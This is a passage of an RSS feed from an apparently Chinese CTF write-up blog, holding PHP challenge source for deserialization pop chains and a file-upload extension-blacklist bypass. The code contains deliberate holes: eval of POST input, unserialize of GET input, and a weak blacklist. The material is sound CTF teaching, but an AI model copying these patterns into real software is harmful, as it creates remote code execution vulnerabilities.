class="p"&gt;}&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="fm"&gt;__destruct&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;&#9;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="na"&gt;x&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;&#9;&#9;&lt;span class="nv"&gt;$preg_match&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;return preg_match(&amp;#34;/[A-Za-z0-9]+/i&amp;#34;, $this-&amp;gt;x);&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="c1"&gt;//无数字字母&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;&#9;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;eval&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$preg_match&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;&#9;&#9;&lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$preg_match&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;&#9;&#9;&lt;span class="k"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;save_waf&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;&lt;span class="p"&gt;}&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;&#9;&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="k"&gt;eval&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="na"&gt;x&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="c1"&gt;//目标点&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;&#9;&lt;span class="p"&gt;}&lt;/span&gt;&#9;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;push_it&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;&lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="nv"&gt;$root&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;&lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="nv"&gt;$pwd&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="fm"&gt;__construct&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$root&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$pwd&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;&#9;&lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="na"&gt;root&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$root&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;&#9;&lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="na"&gt;pwd&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$pwd&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;&lt;span class="p"&gt;}&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;&#9;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="fm"&gt;__destruct&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;&#9;&lt;span class="nx"&gt;unset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="na"&gt;root&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;&#9;&lt;span class="nx"&gt;unset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="na"&gt;pwd&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;&lt;span class="p"&gt;}&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="fm"&gt;__toString&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;&#9;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;isset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="na"&gt;root&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nx"&gt;isset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="na"&gt;pwd&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;&#9;&#9;&lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&amp;lt;h1&amp;gt;Hello, &lt;/span&gt;&lt;span class="si"&gt;$this-&amp;gt;root&lt;/span&gt;&lt;span class="s2"&gt;&amp;lt;/h1&amp;gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;&#9;&lt;span class="p"&gt;}&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;&#9;&lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;&#9;&#9;&lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&amp;lt;h1&amp;gt;out!&amp;lt;/h1&amp;gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;&#9;&lt;span class="p"&gt;}}&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;&lt;span class="err"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;function.php&lt;/p&gt;</description></item><item><title>SICTF 我全都要！</title><link>http://blog.foreverwl.top/blog/sictf-%E6%88%91%E5%85%A8%E9%83%BD%E8%A6%81/</link><pubDate>Tue, 12 Sep 2023 15:03:49 +0800</pubDate><guid>http://blog.foreverwl.top/blog/sictf-%E6%88%91%E5%85%A8%E9%83%BD%E8%A6%81/</guid><description>&lt;h2 id="考点"&gt;&#10; 考点&lt;a class="heading-anchor" href="#%e8%80%83%e7%82%b9" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;1.反序列化&lt;/p&gt;&#10;&lt;p&gt;2.pop链&lt;/p&gt;&#10;&lt;p&gt;3.clone关键字和clone()魔术方法&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h2 id="解题过程"&gt;&#10; 解题过程&lt;a class="heading-anchor" href="#%e8%a7%a3%e9%a2%98%e8%bf%87%e7%a8%8b" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&#10;&#10;&#10;&lt;h3 id="分析代码"&gt;&#10; 分析代码&lt;a class="heading-anchor" href="#%e5%88%86%e6%9e%90%e4%bb%a3%e7%a0%81" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h3&gt;&#10;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;?php&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;highlight_file(__FILE__);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;class B{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; public $pop;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; public $i;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; public $nogame;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; public function __destruct()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; if(preg_match(&amp;#34;/233333333/&amp;#34;,$this-&amp;gt;pop)){//pop-&amp;gt;A&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo &amp;#34;这是一道签到题，不能让新生一直做不出来遭受打击&amp;#34;;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; public function game(){&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo &amp;#34;扣1送地狱火&amp;#34;;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; if ($this-&amp;gt;i = &amp;#34;1&amp;#34;){&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo &amp;#39;&amp;lt;img src=\&amp;#39;R.jpg\&amp;#39;&amp;gt;&amp;#39;;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; $this-&amp;gt;nogame-&amp;gt;love();//-&amp;gt;call nogame-&amp;gt;P 2&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; public function __clone(){&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo &amp;#34;必须执行&amp;#34;;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; eval($_POST[&amp;#34;cmd&amp;#34;]);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;class A{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; public $Aec;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; public $girl;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; public $boy;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; public function __toString()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo &amp;#34;I also want to fall in love&amp;#34;;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; if($this-&amp;gt;girl != $this-&amp;gt;boy &amp;amp;&amp;amp; md5($this-&amp;gt;girl) == md5($this-&amp;gt;boy)){&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; $this-&amp;gt;Aec-&amp;gt;game();//Aec-&amp;gt;B 1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;class P{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; public $MyLover;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; public function __call($name, $arguments)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo &amp;#34;有对象我会在这打CTF???看我克隆一个对象！&amp;#34;;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; if ($name != &amp;#34;game&amp;#34;) {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo &amp;#34;打游戏去，别想着对象了&amp;#34;;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; $this-&amp;gt;MyLover = clone new B;//MyLover-&amp;gt;B&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;if ($_GET[&amp;#34;A_B_C&amp;#34;]){&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; $poc=$_GET[&amp;#34;A_B_C&amp;#34;];&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; unserialize($poc);&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#10;&#10;&#10;&lt;h3 id="clone关键字和__clone魔术方法"&gt;&#10; clone关键字和__clone()魔术方法：&lt;a class="heading-anchor" href="#clone%e5%85%b3%e9%94%ae%e5%ad%97%e5%92%8c__clone%e9%ad%94%e6%9c%af%e6%96%b9%e6%b3%95" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h3&gt;&#10;&lt;p&gt;php中clone关键字用于复制一个对象&lt;/p&gt;</description></item><item><title>[NSSCTF 2nd]php签到</title><link>http://blog.foreverwl.top/blog/nssctf-2ndphp%E7%AD%BE%E5%88%B0/</link><pubDate>Mon, 11 Sep 2023 14:02:17 +0800</pubDate><guid>http://blog.foreverwl.top/blog/nssctf-2ndphp%E7%AD%BE%E5%88%B0/</guid><description>&lt;h2 id="前言"&gt;&#10; 前言&lt;a class="heading-anchor" href="#%e5%89%8d%e8%a8%80" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;一个简单的文件上传的绕过。&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h2 id="解题过程"&gt;&#10; 解题过程&lt;a class="heading-anchor" href="#%e8%a7%a3%e9%a2%98%e8%bf%87%e7%a8%8b" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;分析代码：&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h3 id="pathinfo-函数"&gt;&#10; pathinfo() 函数：&lt;a class="heading-anchor" href="#pathinfo-%e5%87%bd%e6%95%b0" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h3&gt;&#10;&lt;p&gt;pathinfo() 函数以数组的形式返回关于文件路径的信息。&lt;/p&gt;&#10;&lt;p&gt;pathinfo(path,options)&lt;/p&gt;&#10;&#10;&lt;div class="table-wrap"&gt;&#10; &lt;table&gt;&#10; &lt;thead&gt;&#10; &lt;tr&gt;&#10; &lt;th &gt;参数&lt;/th&gt;&#10; &lt;th &gt;描述&lt;/th&gt;&#10; &lt;/tr&gt;&#10; &lt;/thead&gt;&#10; &lt;tbody&gt;&#10; &lt;tr&gt;&#10; &lt;td &gt;path&lt;/td&gt;&#10; &lt;td &gt;必需。规定要检查的路径。&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;tr&gt;&#10; &lt;td &gt;options&lt;/td&gt;&#10; &lt;td &gt;可选。规定要返回的数组元素。默认是 all。可能的值：PATHINFO_DIRNAME - 只返回 dirnamePATHINFO_BASENAME - 只返回 basenamePATHINFO_EXTENSION - 只返回 extension(拓展名)PATHINFO_FILENAME - 只返回 filename&lt;/td&gt;&#10; &lt;/tr&gt;&#10; &lt;/tbody&gt;&#10; &lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-gdscript3" data-lang="gdscript3"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="err"&gt;?&lt;/span&gt;&lt;span class="n"&gt;php&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;function&lt;/span&gt; &lt;span class="n"&gt;waf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="n"&gt;black_list&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;ph&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;htaccess&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;ini&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="n"&gt;ext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;pathinfo&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;PATHINFO_EXTENSION&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="err"&gt;这里只返回扩展名&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;foreach&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="n"&gt;black_list&lt;/span&gt; &lt;span class="n"&gt;as&lt;/span&gt; &lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;stristr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="n"&gt;ext&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;)){&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="err"&gt;进行扩展名判断&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;isset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="n"&gt;_FILES&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;file&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;])){&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="n"&gt;filename&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;urldecode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="n"&gt;_FILES&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;file&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;name&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="n"&gt;content&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;file_get_contents&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="n"&gt;_FILES&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;file&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;tmp_name&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;waf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;)){&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;file_put_contents&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="n"&gt;content&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="err"&gt;写入文件&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;Please re-upload&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span 